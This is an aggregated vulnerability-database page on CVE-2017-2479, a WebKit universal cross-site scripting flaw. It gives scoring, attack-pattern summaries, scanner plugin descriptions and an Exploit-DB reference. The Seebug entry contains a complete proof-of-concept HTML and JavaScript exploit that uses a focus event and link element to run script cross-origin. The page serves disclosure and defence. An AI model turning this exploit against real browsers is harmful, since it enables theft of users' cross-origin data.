Vulnerabilities > CVE-2017-2479 - Improper Input Validation vulnerability in Apple products
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
NONE Availability impact
NONE Summary
An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. iCloud before 6.2 on Windows is affected. iTunes before 12.6 on Windows is affected. tvOS before 10.2 is affected. The issue involves the "WebKit" component. It allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Exploit-Db
description | Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element. CVE-2017-2479. Webapps exploit for Multiple p... |
file | exploits/multiple/webapps/41866.html |
id | EDB-ID:41866 |
last seen | 2017-04-11 |
modified | 2017-04-11 |
platform | multiple |
port | |
published | 2017-04-11 |
reporter | Exploit-DB |
source | https://www.exploit-db.com/download/41866/ |
title | Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element |
type | webapps |
Nessus
NASL family MacOS X Local Security Checks NASL id MACOSX_SAFARI10_1.NASL description The version of Apple Safari installed on the remote macOS or Mac OS X host is prior to 10.1. It is, therefore, affected by multiple vulnerabilities: - An out-of-bounds read error exists in WebKit when handling certain JavaScript code. An unauthenticated, remote attacker can exploit this to cause a denial of service condition or the disclosure of memory contents. (CVE-2016-9642) - A denial of service vulnerability exists in WebKit when handling certain regular expressions. An unauthenticated, remote attacker can exploit this, via a specially crafted web page, to exhaust available memory resources. (CVE-2016-9643) - Multiple information disclosure vulnerabilities exist in WebKit when handling page loading due to improper validation of certain input. An unauthenticated, remote attacker can exploit these to disclose data cross-origin. (CVE-2017-2364, CVE-2017-2367) - An unspecified state management flaw exists that allows an unauthenticated, remote attacker to spoof the address bar. (CVE-2017-2376) - A denial of service vulnerability exists in the Web Inspector component when closing a window while the debugger is paused. An unauthenticated, remote attacker can exploit this to terminate the application. (CVE-2017-2377) - An unspecified flaw exists in WebKit when creating bookmarks using drag-and-drop due to improper validation of certain input. An unauthenticated, remote attacker can exploit this, via a specially crafted link, to spoof bookmarks or potentially execute arbitrary code. (CVE-2017-2378) - An information disclosure vulnerability exists in the Login AutofFill component that allows a local attacker to access keychain items. (CVE-2017-2385) - Multiple information disclosure vulnerabilities exist in WebKit when handling unspecified exceptions or elements. An unauthenticated, remote attacker can exploit these, via specially crafted web content, to disclose data cross-origin. (CVE-2017-2386, CVE-2017-2479, CVE-2017-2480) - An unspecified flaw exists in the handling of HTTP authentication that allows an unauthenticated, remote attacker to disclose authentication sheets on arbitrary websites or cause a denial of service condition. (CVE-2017-2389) - Multiple memory corruption issues exist in WebKit that allow an unauthenticated, remote attacker to cause a denial of service condition or the execution of arbitrary code. (CVE-2017-2394, CVE-2017-2395, CVE-2017-2396, CVE-2017-2433, CVE-2017-2454, CVE-2017-2455, CVE-2017-2459, CVE-2017-2460, CVE-2017-2464, CVE-2017-2465, CVE-2017-2466, CVE-2017-2468, CVE-2017-2469, CVE-2017-2470, CVE-2017-2476) - A memory corruption issue exists in WebKit within the Web Inspector component due to improper validation of certain input. An unauthenticated, remote attacker can exploit this to cause a denial of service condition or the execution of arbitrary code. (CVE-2017-2405) - An unspecified type confusion error exists that allows an unauthenticated remote attacker to execute arbitrary code by using specially crafted web content. (CVE-2017-2415) - A security bypass vulnerability exists in WebKit that allows an unauthenticated, remote attacker to bypass the Content Security Policy by using specially crafted web content. (CVE-2017-2419) - An unspecified flaw exists in WebKit when handling OpenGL shaders that allows an unauthenticated, remote attacker to disclose process memory content by using specially crafted web content. (CVE-2017-2424) - An information disclosure vulnerability exists in WebKit JavaScript Bindings when handling page loading due to unspecified logic flaws. An unauthenticated, remote attacker can exploit this, via specially crafted web content, to disclose data cross-origin. (CVE-2017-2442) - A memory corruption issue exists in WebKit within the CoreGraphics component due to improper validation of certain input. An unauthenticated, remote attacker can exploit this, via specially crafted web content, to cause a denial of service condition or the execution of arbitrary code. (CVE-2017-2444) - A universal cross-site scripting (XSS) vulnerability exists in WebKit when handling frame objects due to improper validation of certain input. An unauthenticated, remote attacker can exploit this, via specially crafted web content, to execute arbitrary script code in a user last seen 2020-06-01 modified 2020-06-02 plugin id 99167 published 2017-04-03 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/99167 title macOS : Apple Safari < 10.1 Multiple Vulnerabilities NASL family Peer-To-Peer File Sharing NASL id ITUNES_12_6_BANNER.NASL description The version of Apple iTunes running on the remote host is prior to 12.6. It is, therefore, affected by multiple vulnerabilities : - Multiple vulnerabilities exist in the expat component, the most severe of which are remote code execution vulnerabilities. An unauthenticated, remote attacker can exploit these vulnerabilities to cause a denial of service condition or the execution of arbitrary code in the context of the current user. (CVE-2009-3270, CVE-2009-3560, CVE-2009-3720, CVE-2012-1147, CVE-2012-1148, CVE-2012-6702, CVE-2015-1283, CVE-2016-0718, CVE-2016-4472, CVE-2016-5300) - Multiple vulnerabilities exist in the SQLite component, the most severe of which are remote code execution vulnerabilities. An unauthenticated, remote attacker can exploit these vulnerabilities by convincing a user to open a specially crafted file, to cause a denial of service condition or the execution of arbitrary code in the context of the current user. (CVE-2013-7443, CVE-2015-3414, CVE-2015-3415, CVE-2015-3416, CVE-2015-3717, CVE-2015-6607, CVE-2016-6153) - An information disclosure vulnerability exists in the APNs server component due to client certificates being transmitted in cleartext. A man-in-the-middle attacker can exploit this to disclose sensitive information. (CVE-2017-2383) - A use-after-free error exists in the WebKit component due to improper handling of RenderBox objects. An unauthenticated, remote attacker can exploit this to execute arbitrary code. (CVE-2017-2463) - Multiple universal cross-site scripting (XSS) vulnerabilities exist in the WebKit component due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these vulnerabilities, by convincing a user to visit a specially crafted web page, to execute arbitrary script code in a user last seen 2020-06-01 modified 2020-06-02 plugin id 100026 published 2017-05-08 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100026 title Apple iTunes < 12.6 Multiple Vulnerabilities (uncredentialed check) NASL family Windows NASL id ITUNES_12_6.NASL description The version of Apple iTunes installed on the remote Windows host is prior to 12.6. It is, therefore, affected by multiple vulnerabilities : - Multiple vulnerabilities exist in the expat component, the most severe of which are remote code execution vulnerabilities. An unauthenticated, remote attacker can exploit these vulnerabilities to cause a denial of service condition or the execution of arbitrary code in the context of the current user. (CVE-2009-3270, CVE-2009-3560, CVE-2009-3720, CVE-2012-1147, CVE-2012-1148, CVE-2012-6702, CVE-2015-1283, CVE-2016-0718, CVE-2016-4472, CVE-2016-5300) - Multiple vulnerabilities exist in the SQLite component, the most severe of which are remote code execution vulnerabilities. An unauthenticated, remote attacker can exploit these vulnerabilities by convincing a user to open a specially crafted file, to cause a denial of service condition or the execution of arbitrary code in the context of the current user. (CVE-2013-7443, CVE-2015-3414, CVE-2015-3415, CVE-2015-3416, CVE-2015-3717, CVE-2015-6607, CVE-2016-6153) - An information disclosure vulnerability exists in the APNs server component due to client certificates being transmitted in cleartext. A man-in-the-middle attacker can exploit this to disclose sensitive information. (CVE-2017-2383) - A use-after-free error exists in the WebKit component due to improper handling of RenderBox objects. An unauthenticated, remote attacker can exploit this to execute arbitrary code. (CVE-2017-2463) - Multiple universal cross-site scripting (XSS) vulnerabilities exist in the WebKit component due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these vulnerabilities, by convincing a user to visit a specially crafted web page, to execute arbitrary script code in a user last seen 2020-06-01 modified 2020-06-02 plugin id 100025 published 2017-05-08 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100025 title Apple iTunes < 12.6 Multiple Vulnerabilities (credentialed check)
Seebug
bulletinFamily | exploit |
description | This is somewhat similar to https://crbug.com/663476. Here's a snippet of Container::replaceAllChildren. ``` while (RefPtr<Node> child = m_firstChild) { removeBetween(nullptr, child->nextSibling(), *child); notifyChildNodeRemoved(*this, *child); } ``` If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent. Tested on Safari 10.0.3(12602.4.8). ``` <html> <head> </head> <body> <script> let f = document.body.appendChild(document.createElement('iframe')); let inp = f.contentDocument.head.appendChild(document.createElement('input')); let link = inp.appendChild(document.createElement('link')); link.rel = 'stylesheet'; link.href = 'data:,aaaaazxczxczzxzcz'; let btn = f.contentDocument.body.appendChild(document.createElement('button')); btn.id = 'btn'; btn.onfocus = () => { btn.onfocus = null; window.g = inp.appendChild(document.createElement('iframe')); window.g.onload = () => { window.g.onload = null; window.g.src = 'javascript:alert(location)'; let xml = ` <svg xmlns="http://www.w3.org/2000/svg"> <script> document.documentElement.appendChild(parent.g); </sc` + `ript> <element a="1" a="2" /> </svg>`; let h = document.body.appendChild(document.createElement('iframe')); h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'})); }; window.g.src = 'https://abc.xyz/'; }; f.contentWindow.location.hash = 'btn'; inp.textContent = ''; </script> </body> </html> ``` |
id | SSV:92922 |
last seen | 2017-11-19 |
modified | 2017-04-07 |
published | 2017-04-07 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-92922 |
title | WebKit: UXSS via a focus event and a link element (CVE-2017-2479) |
References
- http://www.securityfocus.com/bid/97176
- http://www.securityfocus.com/bid/97176
- http://www.securitytracker.com/id/1038157
- http://www.securitytracker.com/id/1038157
- https://support.apple.com/HT207599
- https://support.apple.com/HT207599
- https://support.apple.com/HT207600
- https://support.apple.com/HT207600
- https://support.apple.com/HT207601
- https://support.apple.com/HT207601
- https://support.apple.com/HT207607
- https://support.apple.com/HT207607
- https://support.apple.com/HT207617
- https://support.apple.com/HT207617
- https://www.exploit-db.com/exploits/41866/
- https://www.exploit-db.com/exploits/41866/